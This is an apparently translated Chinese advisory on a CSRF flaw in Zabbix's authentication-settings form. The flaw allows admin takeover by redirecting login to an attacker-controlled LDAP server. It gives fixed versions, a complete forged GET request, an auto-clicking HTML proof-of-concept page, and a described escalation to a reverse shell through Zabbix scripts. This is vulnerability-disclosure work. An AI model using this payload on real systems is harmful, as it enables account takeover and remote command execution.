Zabbix是企业IT网络和应用程序监视解决方案。在对其源代码进行例行检查时,我们在Zabbix UI的身份验证组件中发现了CSRF(跨站点请求伪造)漏洞。使用此漏洞,如果未经身份验证的攻击者可以说服Zabbix管理员遵循恶意链接,则该攻击者可以接管Zabbix管理员的帐户。即使使用默认的SameSite=Lax
cookie保护,此漏洞也可在所有浏览器中利用。该漏洞已在Zabbix版本4.0.28rc1、5.0.8rc1、5.2.4rc1和5.4.0alpha1中修复。
此漏洞的影响很大。尽管需要用户交互才能利用此漏洞,但成功利用漏洞的后果是完全接管了Zabbix管理员帐户。对Zabbix的管理访问为攻击者提供了有关网络上其他设备的大量信息,以及在Zabbix服务器上执行任意命令的能力。在某些配置中,攻击者还可以在Zabbix监视的主机上执行任意命令。
CVSS vector: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
在撰写本文时,Internet上有约2万个Zabbix实例,可以通过Shodan的"html: Zabbix".找到。
修复
至少升级到Zabbix版本4.0.28rc1、5.0.8rc1、5.2.4rc1或5.4.0alpha1。
CSRF漏洞的工作原理如下:
抵御CSRF攻击最常用的防御方法是使用anti-CSRF tokens。这些令牌是随机生成的数据,作为请求的一部分从应用程序的前端代码发送到后端。后端同时验证反CSRF令牌和用户的会话Cookie。令牌可以作为HTTP标头或在请求正文中传输,但不能作为Cookie传输。如果正确实施,此方法将击败CSRF攻击,因为攻击者很难制作包含正确的反CSRF令牌的伪造请求。
Zabbix使用sid
在请求正文中传递的参数形式的反CSRF令牌。例如,将Zabbix Admin用户密码更新为该值的请求zabbix1
如下所示:
如果sid
参数丢失或不正确,此请求将失败。
Same-Site
cookie属性是另一种可以抵御CSRF攻击的措施。浏览器使用此设置来确定何时可以将Cookie作为跨站点请求的一部分传输到站点。这个属性有三个值:Strict
,Lax
,和None
。
Same-Site=Strict
:切勿在跨站点请求中发送cookie。Same-Site=Lax
:仅将cookie作为跨站点请求的一部分发送,如果它们是GET请求并影响顶层导航,即导致更改浏览器的地址栏。单击链接被认为是顶级导航,而加载图像或脚本则不是。GET请求通常被认为是安全的,因为它们不应该改变任何后端状态。Same-Site-None
:随同发送Cookie,以应对所有跨站点请求。Web应用程序开发人员可以选择Same-Site
显式设置属性的值,作为在用户进行身份验证之后将cookie发送到前端的一部分。如果未明确设置该属性,则现代浏览器会将其默认值设置为Lax
。Zabbix就是这种情况-该Same-Site
属性未设置,并且默认为Lax
。
如上所述,Zabbix使用anti-CSRF tokens,并且这些令牌对试图利用诸如添加和修改用户及角色之类的行为的CSRF攻击有效。但是,我们发现有一个重要的场景,其中的anti-CSRF tokens未得到验证:对应用程序身份验证设置的更新。
此表单控制用于登录Zabbix的身份验证类型,该身份验证可以是“Internal”或“ LDAP”之一。如果使用LDAP,还可以设置LDAP提供程序的详细信息,例如LDAP主机和端口,基本DN等。
处理此表单提交的后端控制器类CControllerAuthenticationUpdate禁用了令牌验证,如下所示:
此外,同样重要的是,我们发现在Zabbix中,通过POST在请求正文中提交的任何参数都可以等效地通过GET作为URL查询参数提交。这意味着缺少sid
参数的以下伪造的GET请求可以与包含的合法POST请求一样有效sid
。
GET /zabbix.php?form_refresh=1&action=authentication.update&db_authentication_type=0&authentication_type=1&http_auth_enabled=0&ldap_configured=1&ldap_host=10.0.229.1&ldap_port=389&ldap_base_dn=dc%3Dsmoke%2Cdc%3Dnet&ldap_search_attribute=sAMAccountName&ldap_bind_dn=cn%3DAdmin%2CCN%3DUsers%2CDC%3Dsmoke%2CDC%3Dnet&ldap_case_sensitive=1&action_passw_change=authentication.edit&ldap_test_user=Admin&ldap_test_password=Z@bb1x!&saml_auth_enabled=0&update=Update
上面的请求将身份验证方法更新为LDAP并设置各种LDAP属性。
为了进行全面攻击,攻击者将执行以下操作:
首先,设置一个由攻击者控制的LDAP服务器,该服务器可通过目标Zabbix应用程序进行网络访问。对于我们的示例,我们使用的是10.0.229.1。的Active Directory服务器。我们还在Active Directory中为用户提供了一个名为“ Admin”的用户(与内置的Zabbix管理员用户名匹配),密码为“ Z@bb1x!”。
然后,托管一个包含恶意HTML页面的网站。对于我们的示例,我们有一个HTML页面,其中包含带有伪造的跨站点请求的链接。加载页面后,链接将通过JavaScript自动单击。这满足了“顶级导航”的要求。
<html>
<body>
<p>Any web site</p>
<a id='link' href='http://192.168.0.140/zabbix.php?form_refresh=1&action=authentication.update&db_authentication_type=0&authentication_type=1&http_auth_enabled=0&ldap_configured=1&ldap_host=10.0.229.1&ldap_port=389&ldap_base_dn=dc%3Dsmoke%2Cdc%3Dnet&ldap_search_attribute=sAMAccountName&ldap_bind_dn=cn%3DAdmin%2CCN%3DUsers%2CDC%3Dsmoke%2CDC%3Dnet&ldap_case_sensitive=1&action_passw_change=authentication.edit&ldap_test_user=Admin&ldap_test_password=Z@bb1x!&saml_auth_enabled=0&update=Update'></a>
<script>
document.getElementById('link').click();
</script>
</body>
</html>
最后,诱使受害的Zabbix Admin用户单击指向恶意站点的链接。一旦发生这种情况,Zabbix管理员将看到站点上的身份验证设置已自动更新,如下所示:
此时,攻击者可以使用自己的管理员用户凭据登录。顺带一提,受害人Zabbix Admin的会话在退出之前仍然保持有效。
此特定CSRF攻击的一个有趣方面是它不是盲目的。这是因为Zabbix使用测试用户和密码来验证LDAP服务器连接,这是处理身份验证设置表单提交的一部分。攻击者可以通过Zabbix应用程序连接到他/她自己的LDAP服务器来立即知道CSRF攻击是否成功。一旦测试连接建立,攻击者就可以自动登录受害者的Zabbix服务器并执行进一步的操作。
一旦攻击者获得管理员访问权限,他/她就可以轻松获得远程命令执行特权,因为它是产品的内置功能。的Scripts
用户界面的部分包含一个地方中的任何命令下降到被任一的zabbix服务器,服务器的zabbix代理,或一个的zabbix剂(代理人的主机上运行通过的zabbix被监视)上执行。
例如,要在Zabbix服务器上获得反向shell,攻击者可以修改内置Detect Operating Systems
脚本以包括perl反向shell有效负载,如下所示:
然后从仪表板页面执行脚本:
要获得反向shell:
根据配置,攻击者还可以在服务器代理或代理上运行远程命令。更多细节在这里从的zabbix文档。